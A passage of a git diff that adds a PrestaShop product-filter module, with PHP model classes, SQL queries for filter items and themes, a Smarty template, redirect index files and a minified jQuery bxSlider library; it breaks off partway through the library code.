hs.`id_filtre_item` as id_filtre, + hss.`position`, + hss.`id_theme`, + hss.`active`, + hssl.`title`, + hssl.`description` + FROM '._DB_PREFIX_.'devspefiltreproduit hs + LEFT JOIN '._DB_PREFIX_.'devspefiltreproduit_item hss ON (hs.id_filtre_item = hss.id_filtre_item) + LEFT JOIN '._DB_PREFIX_.'devspefiltreproduit_item_lang hssl ON (hss.id_filtre_item = hssl.id_filtre_item) + WHERE (id_shop = '.(int)$id_shop.') + AND hssl.id_lang = '.(int)$id_lang. + ($active ? ' AND hss.`active` = 1' : ' ').' + ORDER BY hss.position'); + } + + public function getItemsTheme($active = null,$zero=null) + { + $this->context = Context::getContext(); + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hss.`id_filtre_theme` as id_theme, + hss.`position`, + hss.`active`, + hss.`id_filtre_parent`, + hssl.`title` + FROM '._DB_PREFIX_.'devspefiltreproduit_theme hss + LEFT JOIN '._DB_PREFIX_.'devspefiltreproduit_theme_lang hssl ON (hss.id_filtre_theme = hssl.id_filtre_theme) + WHERE hssl.id_lang = '.(int)$id_lang. + ($active ? ' AND hss.`active` = 1' : ' '). + ($zero ? ' AND hss.`id_filtre_parent` = 0' : ' ').' + ORDER BY hss.position'); + } + + public function displayStatus($id_filtre, $active) + { + $title = ((int)$active == 0 ? $this->l('Disabled') : $this->l('Enabled')); + $img = ((int)$active == 0 ? 'disabled.gif' : 'enabled.gif'); + $html = ''; + return $html; + } + + public function filtreExists($id_filtre) + { + $req = 'SELECT hs.`id_filtre_item` as id_filtre + FROM `'._DB_PREFIX_.'devspefiltreproduit` hs + WHERE hs.`id_filtre_item` = '.(int)$id_filtre; + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($req); + return ($row); + } + public function filtreThemeExists($id_theme) + { + $req = 'SELECT hs.`id_filtre_theme` as id_theme + FROM `'._DB_PREFIX_.'devspefiltreproduit_theme` hs + WHERE hs.`id_filtre_theme` = '.(int)$id_theme; + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($req); + return ($row); + } +} diff --git a/modules/devspefiltreproduit/devspefiltreproduit.tpl b/modules/devspefiltreproduit/devspefiltreproduit.tpl new file mode 100755 index 0000000..5e1c9fe --- /dev/null +++ b/modules/devspefiltreproduit/devspefiltreproduit.tpl @@ -0,0 +1,48 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +{if isset($devspehomeblocks_slides)} + +{/if} + diff --git a/modules/devspefiltreproduit/filtreItem.php b/modules/devspefiltreproduit/filtreItem.php new file mode 100755 index 0000000..8d7284a --- /dev/null +++ b/modules/devspefiltreproduit/filtreItem.php @@ -0,0 +1,127 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class filtreItem extends ObjectModel +{ + public $title; + public $description; + public $active; + public $position; + public $id_theme; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'devspefiltreproduit_item', + 'primary' => 'id_filtre_item', + 'multilang' => true, + 'fields' => array( + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'required' => true), + 'position' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + 'id_theme' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + + // Lang fields + 'description' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isString', 'size' => 8000), + 'title' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'required' => true, 'size' => 255), + ) + ); + + public function __construct($id_filtre = null, $id_lang = null, $id_shop = null, Context $context = null) + { + parent::__construct($id_filtre, $id_lang, $id_shop); + } + + public function add($autodate = true, $null_values = false) + { + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $res = parent::add($autodate, $null_values); + $res &= Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'devspefiltreproduit` (`id_shop`, `id_filtre_item`) + VALUES('.(int)$id_shop.', '.(int)$this->id.')' + ); + return $res; + } + + public function delete() + { + $res = true; + + // $images = $this->image; + // foreach ($images as $image) + // { + // if (preg_match('/sample/', $image) === 0) + // if ($image && file_exists(dirname(__FILE__).'/images/'.$image)) + // $res &= @unlink(dirname(__FILE__).'/images/'.$image); + // } + + $res &= $this->reOrderPositions(); + + $res &= Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'devspefiltreproduit` + WHERE `id_filtre_item` = '.(int)$this->id + ); + + $res &= parent::delete(); + return $res; + } + + public function reOrderPositions() + { + $id_filtre = $this->id; + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $max = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT MAX(hss.`position`) as position + FROM `'._DB_PREFIX_.'devspefiltreproduit_item` hss, `'._DB_PREFIX_.'devspefiltreproduit` hs + WHERE hss.`id_filtre_item` = hs.`id_filtre_item` AND hs.`id_shop` = '.(int)$id_shop + ); + + if ((int)$max == (int)$id_filtre) + return true; + + $rows = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hss.`position` as position, hss.`id_filtre_item` as id_filtre + FROM `'._DB_PREFIX_.'devspefiltreproduit_item` hss + LEFT JOIN `'._DB_PREFIX_.'devspefiltreproduit` hs ON (hss.`id_filtre_item` = hs.`id_filtre_item`) + WHERE hs.`id_shop` = '.(int)$id_shop.' AND hss.`position` > '.(int)$this->position + ); + + foreach ($rows as $row) + { + $current_filtre = new filtreItem($row['id_filtre']); + --$current_filtre->position; + $current_filtre->update(); + unset($current_filtre); + } + + return true; + } + +} diff --git a/modules/devspefiltreproduit/filtreTheme.php b/modules/devspefiltreproduit/filtreTheme.php new file mode 100755 index 0000000..a4389e6 --- /dev/null +++ b/modules/devspefiltreproduit/filtreTheme.php @@ -0,0 +1,117 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class filtreTheme extends ObjectModel +{ + public $title; + public $id_filtre_parent; + public $active; + public $position; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'devspefiltreproduit_theme', + 'primary' => 'id_filtre_theme', + 'multilang' => true, + 'fields' => array( + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'required' => true), + 'position' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + 'id_filtre_parent' => array('type' => self::TYPE_INT, 'validate' => 'isunsignedInt', 'required' => true), + + // Lang fields + 'title' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'required' => true, 'size' => 255), + ) + ); + + public function __construct($id_filtre = null, $id_lang = null, $id_shop = null, Context $context = null) + { + parent::__construct($id_filtre, $id_lang, $id_shop); + } + + public function add($autodate = false, $null_values = false) + { + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $res = parent::add($autodate, $null_values); + // $res &= Db::getInstance()->execute(' + // INSERT INTO `'._DB_PREFIX_.'devspefiltreproduit_theme` (`id_filtre_theme`) + // VALUES('.(int)$this->id.')' + // ); + return $res; + } + + public function delete() + { + // echo 'DELETE FROM `'._DB_PREFIX_.'devspefiltreproduit_theme` + // WHERE `id_filtre_theme` = '.(int)$this->id; + // die(); + $res = true; + + + $res &= $this->reOrderPositions(); + + $res &= Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'devspefiltreproduit_theme` + WHERE `id_filtre_theme` = '.(int)$this->id + ); + $res &= parent::delete(); + return $res; + } + + public function reOrderPositions() + { + $id_filtre = $this->id; + $context = Context::getContext(); + $id_shop = $context->shop->id; + + $max = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT MAX(hss.`position`) as position + FROM `'._DB_PREFIX_.'devspefiltreproduit_theme` hss'); + + if ((int)$max == (int)$id_filtre) + return true; + + $rows = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hss.`position` as position, hss.`id_filtre_theme` as id_filtre + FROM `'._DB_PREFIX_.'devspefiltreproduit_theme` hss + WHERE hss.`position` > '.(int)$this->position + ); + + foreach ($rows as $row) + { + $current_filtre = new filtretheme($row['id_filtre']); + --$current_filtre->position; + $current_filtre->update(); + unset($current_filtre); + } + + return true; + } + +} diff --git a/modules/devspefiltreproduit/index.php b/modules/devspefiltreproduit/index.php new file mode 100755 index 0000000..a230e5a --- /dev/null +++ b/modules/devspefiltreproduit/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/devspefiltreproduit/js/homeslider.js b/modules/devspefiltreproduit/js/homeslider.js new file mode 100755 index 0000000..62e5756 --- /dev/null +++ b/modules/devspefiltreproduit/js/homeslider.js @@ -0,0 +1,46 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +$(function(){ + + if (typeof(homeslider_speed) == 'undefined') + homeslider_speed = 500; + if (typeof(homeslider_pause) == 'undefined') + homeslider_pause = 3000; + if (typeof(homeslider_loop) == 'undefined') + homeslider_loop = true; + + $('#homeslider').bxSlider({ + infiniteLoop: homeslider_loop, + hideControlOnEnd: true, + pager: false, + autoHover: true, + auto: homeslider_loop, + speed: homeslider_speed, + pause: homeslider_pause, + controls: true + }); +}); \ No newline at end of file diff --git a/modules/devspefiltreproduit/js/index.php b/modules/devspefiltreproduit/js/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/devspefiltreproduit/js/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/devspefiltreproduit/js/jquery.bxSlider.min.js b/modules/devspefiltreproduit/js/jquery.bxSlider.min.js new file mode 100755 index 0000000..a214174 --- /dev/null +++ b/modules/devspefiltreproduit/js/jquery.bxSlider.min.js @@ -0,0 +1,115 @@ +/** + * WARNING : library has been patched (search for START PATCH tag) from base version 3.0 to fix an error with IE < 9 + * jQuery bxSlider v3.0 + * http://bxslider.com + * + * Copyright 2010, Steven Wanderski + * http://stevenwanderski.com + * + * Free to use and abuse under the MIT license. + * http://www.opensource.org/licenses/mit-license.php + * + */ +(function($){$.fn.bxSlider=function(options){var defaults={mode:'horizontal',infiniteLoop:true,hideControlOnEnd:false,controls:true,speed:500,easing:'swing',pager:false,pagerSelector:null,pagerType:'full',pagerLocation:'bottom',pagerShortSeparator:'/',pagerActiveClass:'pager-active',nextText:'next',nextImage:'',nextSelector:null,prevText:'prev',prevImage:'',prevSelector:null,captions:false,captionsSelector:null,auto:false,autoDirection:'next',autoControls:false,autoControlsSelector:null,autoStart:true,autoHover:false,autoDelay:0,pause:3000,startText:'start',startImage:'',stopText:'stop',stopImage:'',ticker:false,tickerSpeed:5000,tickerDirection:'next',tickerHover:false,wrapperClass:'bx-wrapper',startingSlide:0,displaySlideQty:1,moveSlideQty:1,randomStart:false,onBeforeSlide:function(){},onAfterSlide:function(){},onLastSlide:function(){},onFirstSlide:function(){},onNextSlide:function(){},onPrevSlide:function(){},buildPager:null} +var options=$.extend(defaults,options);var base=this;var $parent='';var $origElement='';var $children='';var $outerWrapper='';var $firstChild='';var childrenWidth='';var childrenOuterWidth='';var wrapperWidth='';var wrapperHeight='';var $pager='';var interval='';var $autoControls='';var $stopHtml='';var $startContent='';var $stopContent='';var autoPlaying=true;var loaded=false;var childrenMaxWidth=0;var childrenMaxHeight=0;var currentSlide=0;var origLeft=0;var origTop=0;var origShowWidth=0;var origShowHeight=0;var tickerLeft=0;var tickerTop=0;var isWorking=false;var firstSlide=0;var lastSlide=$children.length-1;this.goToSlide=function(number,stopAuto){if(!isWorking){isWorking=true;currentSlide=number;options.onBeforeSlide(currentSlide,$children.length,$children.eq(currentSlide));if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +if(stopAuto){if(options.auto){base.stopShow(true);}} +slide=number;if(slide==firstSlide){options.onFirstSlide(currentSlide,$children.length,$children.eq(currentSlide));} +if(slide==lastSlide){options.onLastSlide(currentSlide,$children.length,$children.eq(currentSlide));} +if(options.mode=='horizontal'){$parent.animate({'left':'-'+getSlidePosition(slide,'left')+'px'},options.speed,options.easing,function(){isWorking=false;options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='vertical'){$parent.animate({'top':'-'+getSlidePosition(slide,'top')+'px'},options.speed,options.easing,function(){isWorking=false;options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='fade'){setChildrenFade();} +checkEndControls();if(options.moveSlideQty>1){number=Math.floor(number/options.moveSlideQty);} +makeSlideActive(number);showCaptions();}} +this.goToNextSlide=function(stopAuto){if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +if(stopAuto){if(options.auto){base.stopShow(true);}} +if(!options.infiniteLoop){if(!isWorking){var slideLoop=false;currentSlide=(currentSlide+(options.moveSlideQty));if(currentSlide<=lastSlide){checkEndControls();options.onNextSlide(currentSlide,$children.length,$children.eq(currentSlide));base.goToSlide(currentSlide);}else{currentSlide-=options.moveSlideQty;}}}else{if(!isWorking){isWorking=true;var slideLoop=false;currentSlide=(currentSlide+options.moveSlideQty);if(currentSlide>lastSlide){currentSlide=currentSlide%$children.length;slideLoop=true;} +options.onNextSlide(currentSlide,$children.length,$children.eq(currentSlide));options.onBeforeSlide(currentSlide,$children.length,$children.eq(currentSlide));if(options.mode=='horizontal'){var parentLeft=(options.moveSlideQty*childrenOuterWidth);$parent.animate({'left':'-='+parentLeft+'px'},options.speed,options.easing,function(){isWorking=false;if(slideLoop){$parent.css('left','-'+getSlidePosition(currentSlide,'left')+'px');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='vertical'){var parentTop=(options.moveSlideQty*childrenMaxHeight);$parent.animate({'top':'-='+parentTop+'px'},options.speed,options.easing,function(){isWorking=false;if(slideLoop){$parent.css('top','-'+getSlidePosition(currentSlide,'top')+'px');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='fade'){setChildrenFade();} +if(options.moveSlideQty>1){makeSlideActive(Math.ceil(currentSlide/options.moveSlideQty));}else{makeSlideActive(currentSlide);} +showCaptions();}}} +this.goToPreviousSlide=function(stopAuto){if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +if(stopAuto){if(options.auto){base.stopShow(true);}} +if(!options.infiniteLoop){if(!isWorking){var slideLoop=false;currentSlide=currentSlide-options.moveSlideQty;if(currentSlide<0){currentSlide=0;if(options.hideControlOnEnd){$('.bx-prev',$outerWrapper).hide();}} +checkEndControls();options.onPrevSlide(currentSlide,$children.length,$children.eq(currentSlide));base.goToSlide(currentSlide);}}else{if(!isWorking){isWorking=true;var slideLoop=false;currentSlide=(currentSlide-(options.moveSlideQty));if(currentSlide<0){negativeOffset=(currentSlide%$children.length);if(negativeOffset==0){currentSlide=0;}else{currentSlide=($children.length)+negativeOffset;} +slideLoop=true;} +options.onPrevSlide(currentSlide,$children.length,$children.eq(currentSlide));options.onBeforeSlide(currentSlide,$children.length,$children.eq(currentSlide));if(options.mode=='horizontal'){var parentLeft=(options.moveSlideQty*childrenOuterWidth);$parent.animate({'left':'+='+parentLeft+'px'},options.speed,options.easing,function(){isWorking=false;if(slideLoop){$parent.css('left','-'+getSlidePosition(currentSlide,'left')+'px');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='vertical'){var parentTop=(options.moveSlideQty*childrenMaxHeight);$parent.animate({'top':'+='+parentTop+'px'},options.speed,options.easing,function(){isWorking=false;if(slideLoop){$parent.css('top','-'+getSlidePosition(currentSlide,'top')+'px');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});}else if(options.mode=='fade'){setChildrenFade();} +if(options.moveSlideQty>1){makeSlideActive(Math.ceil(currentSlide/options.moveSlideQty));}else{makeSlideActive(currentSlide);} +showCaptions();}}} +this.goToFirstSlide=function(stopAuto){if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +base.goToSlide(firstSlide,stopAuto);} +this.goToLastSlide=function(){if(typeof(stopAuto)=='undefined'){var stopAuto=true;} +base.goToSlide(lastSlide,stopAuto);} +this.getCurrentSlide=function(){return currentSlide;} +this.getSlideCount=function(){return $children.length;} +this.stopShow=function(changeText){clearInterval(interval);if(typeof(changeText)=='undefined'){var changeText=true;} +if(changeText&&options.autoControls){$autoControls.html($startContent).removeClass('stop').addClass('start');autoPlaying=false;}} +this.startShow=function(changeText){if(typeof(changeText)=='undefined'){var changeText=true;} +setAutoInterval();if(changeText&&options.autoControls){$autoControls.html($stopContent).removeClass('start').addClass('stop');autoPlaying=true;}} +this.stopTicker=function(changeText){$parent.stop();if(typeof(changeText)=='undefined'){var changeText=true;} +if(changeText&&options.ticker){$autoControls.html($startContent).removeClass('stop').addClass('start');autoPlaying=false;}} +this.startTicker=function(changeText){if(options.mode=='horizontal'){if(options.tickerDirection=='next'){var stoppedLeft=parseInt($parent.css('left'));var remainingDistance=(origShowWidth+stoppedLeft)+$children.eq(0).width();}else if(options.tickerDirection=='prev'){var stoppedLeft=-parseInt($parent.css('left'));var remainingDistance=(stoppedLeft)-$children.eq(0).width();} +var finishingSpeed=(remainingDistance*options.tickerSpeed)/origShowWidth;moveTheShow(tickerLeft,remainingDistance,finishingSpeed);}else if(options.mode=='vertical'){if(options.tickerDirection=='next'){var stoppedTop=parseInt($parent.css('top'));var remainingDistance=(origShowHeight+stoppedTop)+$children.eq(0).height();}else if(options.tickerDirection=='prev'){var stoppedTop=-parseInt($parent.css('top'));var remainingDistance=(stoppedTop)-$children.eq(0).height();} +var finishingSpeed=(remainingDistance*options.tickerSpeed)/origShowHeight;moveTheShow(tickerTop,remainingDistance,finishingSpeed);if(typeof(changeText)=='undefined'){var changeText=true;} +if(changeText&&options.ticker){$autoControls.html($stopContent).removeClass('start').addClass('stop');autoPlaying=true;}}} +this.initShow=function(){$parent=$(this);$origElement=$parent.clone();$children=$parent.children();$outerWrapper='';$firstChild=$parent.children(':first');childrenWidth=$firstChild.width();childrenMaxWidth=0;childrenOuterWidth=$firstChild.outerWidth();childrenMaxHeight=0;wrapperWidth=getWrapperWidth();wrapperHeight=getWrapperHeight();isWorking=false;$pager='';currentSlide=0;origLeft=0;origTop=0;interval='';$autoControls='';$stopHtml='';$startContent='';$stopContent='';autoPlaying=true;loaded=false;origShowWidth=0;origShowHeight=0;tickerLeft=0;tickerTop=0;firstSlide=0;lastSlide=$children.length-1;$children.each(function(index){if($(this).outerHeight()>childrenMaxHeight){childrenMaxHeight=$(this).outerHeight();} +if($(this).outerWidth()>childrenMaxWidth){childrenMaxWidth=$(this).outerWidth();}});if(options.randomStart){var randomNumber=Math.floor(Math.random()*$children.length);currentSlide=randomNumber;origLeft=childrenOuterWidth*(options.moveSlideQty+randomNumber);origTop=childrenMaxHeight*(options.moveSlideQty+randomNumber);}else{currentSlide=options.startingSlide;origLeft=childrenOuterWidth*(options.moveSlideQty+options.startingSlide);origTop=childrenMaxHeight*(options.moveSlideQty+options.startingSlide);} +initCss();if(options.pager&&!options.ticker){if(options.pagerType=='full'){showPager('full');}else if(options.pagerType=='short'){showPager('short');}} +if(options.controls&&!options.ticker){setControlsVars();} +if(options.auto||options.ticker){if(options.autoControls){setAutoControlsVars();} +if(options.autoStart){setTimeout(function(){base.startShow(true);},options.autoDelay);}else{base.stopShow(true);} +if(options.autoHover&&!options.ticker){setAutoHover();}} +if(options.moveSlideQty>1){makeSlideActive(Math.ceil(currentSlide/options.moveSlideQty));}else{makeSlideActive(currentSlide);} +checkEndControls();if(options.captions){showCaptions();} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));} +this.destroyShow=function(){clearInterval(interval);$('.bx-next, .bx-prev, .bx-pager, .bx-auto',$outerWrapper).remove();$parent.unwrap().unwrap().removeAttr('style');$parent.children().removeAttr('style').not('.pager').remove();$children.removeClass('pager');} +this.reloadShow=function(){base.destroyShow();base.initShow();} +function initCss(){setChildrenLayout(options.startingSlide);if(options.mode=='horizontal'){$parent.wrap('
          ').wrap('
          ').css({width:'999999px',position:'relative',left:'-'+(origLeft)+'px'});$parent.children().css({width:childrenWidth,'float':'left',listStyle:'none'});$outerWrapper=$parent.parent().parent();$children.addClass('pager');}else if(options.mode=='vertical'){$parent.wrap('
          ').wrap('
          ').css({height:'999999px',position:'relative',top:'-'+(origTop)+'px'});$parent.children().css({listStyle:'none',height:childrenMaxHeight});$outerWrapper=$parent.parent().parent();$children.addClass('pager');}else if(options.mode=='fade'){$parent.wrap('
          ').wrap('
          ');$parent.children().css({listStyle:'none',position:'absolute',top:0,left:0,zIndex:98});$outerWrapper=$parent.parent().parent();$children.not(':eq('+currentSlide+')').fadeTo(0,0);$children.eq(currentSlide).css('zIndex',99);} +if(options.captions&&options.captionsSelector==null){$outerWrapper.append('
          ');}} +function setChildrenLayout(){if(options.mode=='horizontal'||options.mode=='vertical'){var $prependedChildren=getArraySample($children,0,options.moveSlideQty,'backward');$.each($prependedChildren,function(index){$parent.prepend($(this));});var totalNumberAfterWindow=($children.length+options.moveSlideQty)-1;var pagerExcess=$children.length-options.displaySlideQty;var numberToAppend=totalNumberAfterWindow-pagerExcess;var $appendedChildren=getArraySample($children,0,numberToAppend,'forward');if(options.infiniteLoop){$.each($appendedChildren,function(index){$parent.append($(this));});}}} +function setControlsVars(){if(options.nextImage!=''){nextContent=options.nextImage;nextType='image';}else{nextContent=options.nextText;nextType='text';} +if(options.prevImage!=''){prevContent=options.prevImage;prevType='image';}else{prevContent=options.prevText;prevType='text';} +showControls(nextType,nextContent,prevType,prevContent);} +function setAutoInterval(){if(options.auto){if(!options.infiniteLoop){if(options.autoDirection=='next'){interval=setInterval(function(){currentSlide+=options.moveSlideQty;if(currentSlide>lastSlide){currentSlide=currentSlide%$children.length;} +base.goToSlide(currentSlide,false);},options.pause);}else if(options.autoDirection=='prev'){interval=setInterval(function(){currentSlide-=options.moveSlideQty;if(currentSlide<0){negativeOffset=(currentSlide%$children.length);if(negativeOffset==0){currentSlide=0;}else{currentSlide=($children.length)+negativeOffset;}} +base.goToSlide(currentSlide,false);},options.pause);}}else{if(options.autoDirection=='next'){interval=setInterval(function(){base.goToNextSlide(false);},options.pause);}else if(options.autoDirection=='prev'){interval=setInterval(function(){base.goToPreviousSlide(false);},options.pause);}}}else if(options.ticker){options.tickerSpeed*=10;$('.pager',$outerWrapper).each(function(index){origShowWidth+=$(this).width();origShowHeight+=$(this).height();});if(options.tickerDirection=='prev'&&options.mode=='horizontal'){$parent.css('left','-'+(origShowWidth+origLeft)+'px');}else if(options.tickerDirection=='prev'&&options.mode=='vertical'){$parent.css('top','-'+(origShowHeight+origTop)+'px');} +if(options.mode=='horizontal'){tickerLeft=parseInt($parent.css('left'));moveTheShow(tickerLeft,origShowWidth,options.tickerSpeed);}else if(options.mode=='vertical'){tickerTop=parseInt($parent.css('top'));moveTheShow(tickerTop,origShowHeight,options.tickerSpeed);} +if(options.tickerHover){setTickerHover();}}} +function moveTheShow(leftCss,distance,speed){if(options.mode=='horizontal'){if(options.tickerDirection=='next'){$parent.animate({'left':'-='+distance+'px'},speed,'linear',function(){$parent.css('left',leftCss);moveTheShow(leftCss,origShowWidth,options.tickerSpeed);});}else if(options.tickerDirection=='prev'){$parent.animate({'left':'+='+distance+'px'},speed,'linear',function(){$parent.css('left',leftCss);moveTheShow(leftCss,origShowWidth,options.tickerSpeed);});}}else if(options.mode=='vertical'){if(options.tickerDirection=='next'){$parent.animate({'top':'-='+distance+'px'},speed,'linear',function(){$parent.css('top',leftCss);moveTheShow(leftCss,origShowHeight,options.tickerSpeed);});}else if(options.tickerDirection=='prev'){$parent.animate({'top':'+='+distance+'px'},speed,'linear',function(){$parent.css('top',leftCss);moveTheShow(leftCss,origShowHeight,options.tickerSpeed);});}}} +function setAutoControlsVars(){if(options.startImage!=''){startContent=options.startImage;startType='image';}else{startContent=options.startText;startType='text';} +if(options.stopImage!=''){stopContent=options.stopImage;stopType='image';}else{stopContent=options.stopText;stopType='text';} +showAutoControls(startType,startContent,stopType,stopContent);} +function setAutoHover(){$outerWrapper.find('.bx-window').hover(function(){if(autoPlaying){base.stopShow(false);}},function(){if(autoPlaying){base.startShow(false);}});} +function setTickerHover(){$parent.hover(function(){if(autoPlaying){base.stopTicker(false);}},function(){if(autoPlaying){base.startTicker(false);}});} +function setChildrenFade(){$children.not(':eq('+currentSlide+')').fadeTo(options.speed,0).css('zIndex',98);$children.eq(currentSlide).css('zIndex',99).fadeTo(options.speed,1,function(){isWorking=false;if(jQuery.browser.msie){$children.eq(currentSlide).get(0).style.removeAttribute('filter');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});};function makeSlideActive(number){if(options.pagerType=='full'&&options.pager){$('a',$pager).removeClass(options.pagerActiveClass);$('a',$pager).eq(number).addClass(options.pagerActiveClass);}else if(options.pagerType=='short'&&options.pager){$('.bx-pager-current',$pager).html(currentSlide+1);}} +function showControls(nextType,nextContent,prevType,prevContent){var $nextHtml=$('');var $prevHtml=$('');if(nextType=='text'){$nextHtml.html(nextContent);}else{$nextHtml.html('');} +if(prevType=='text'){$prevHtml.html(prevContent);}else{$prevHtml.html('');} +if(options.prevSelector){$(options.prevSelector).append($prevHtml);}else{$outerWrapper.append($prevHtml);} +if(options.nextSelector){$(options.nextSelector).append($nextHtml);}else{$outerWrapper.append($nextHtml);} +$nextHtml.click(function(){base.goToNextSlide();return false;});$prevHtml.click(function(){base.goToPreviousSlide();return false;});} +function showPager(type){var pagerQty=$children.length;if(options.moveSlideQty>1){if($children.length%options.moveSlideQty!=0){pagerQty=Math.ceil($children.length/options.moveSlideQty);}else{pagerQty=$children.length/options.moveSlideQty;}} +var pagerString='';if(options.buildPager){for(var i=0;i'+i+'';}}else if(type=='short'){pagerString=''+(options.startingSlide+1)+' '+options.pagerShortSeparator+' '+$children.length+'';} +if(options.pagerSelector){$(options.pagerSelector).append(pagerString);$pager=$(options.pagerSelector);}else{var $pagerContainer=$('
          ');$pagerContainer.append(pagerString);if(options.pagerLocation=='top'){$outerWrapper.prepend($pagerContainer);}else if(options.pagerLocation=='bottom'){$outerWrapper.append($pagerContainer);} +$pager=$('.bx-pager',$outerWrapper);} +$pager.children().click(function(){if(options.pagerType=='full'){var slideIndex=$pager.children().index(this);if(options.moveSlideQty>1){slideIndex*=options.moveSlideQty;} +base.goToSlide(slideIndex);} +return false;});} +function showCaptions(){var caption=$('img',$children.eq(currentSlide)).attr('title');if(caption!=''){if(options.captionsSelector){$(options.captionsSelector).html(caption);}else{$('.bx-captions',$outerWrapper).html(caption);}}else{if(options.captionsSelector){$(options.captionsSelector).html(' ');}else{$('.bx-captions',$outerWrapper).html(' ');}}} +function showAutoControls(startType,startContent,stopType,stopContent){$autoControls=$('');if(startType=='text'){$startContent=startContent;}else{$startContent='';} +if(stopType=='text'){$stopContent=stopContent;}else{$stopContent='';} +if(options.autoControlsSelector){$(options.autoControlsSelector).append($autoControls);}else{$outerWrapper.append('
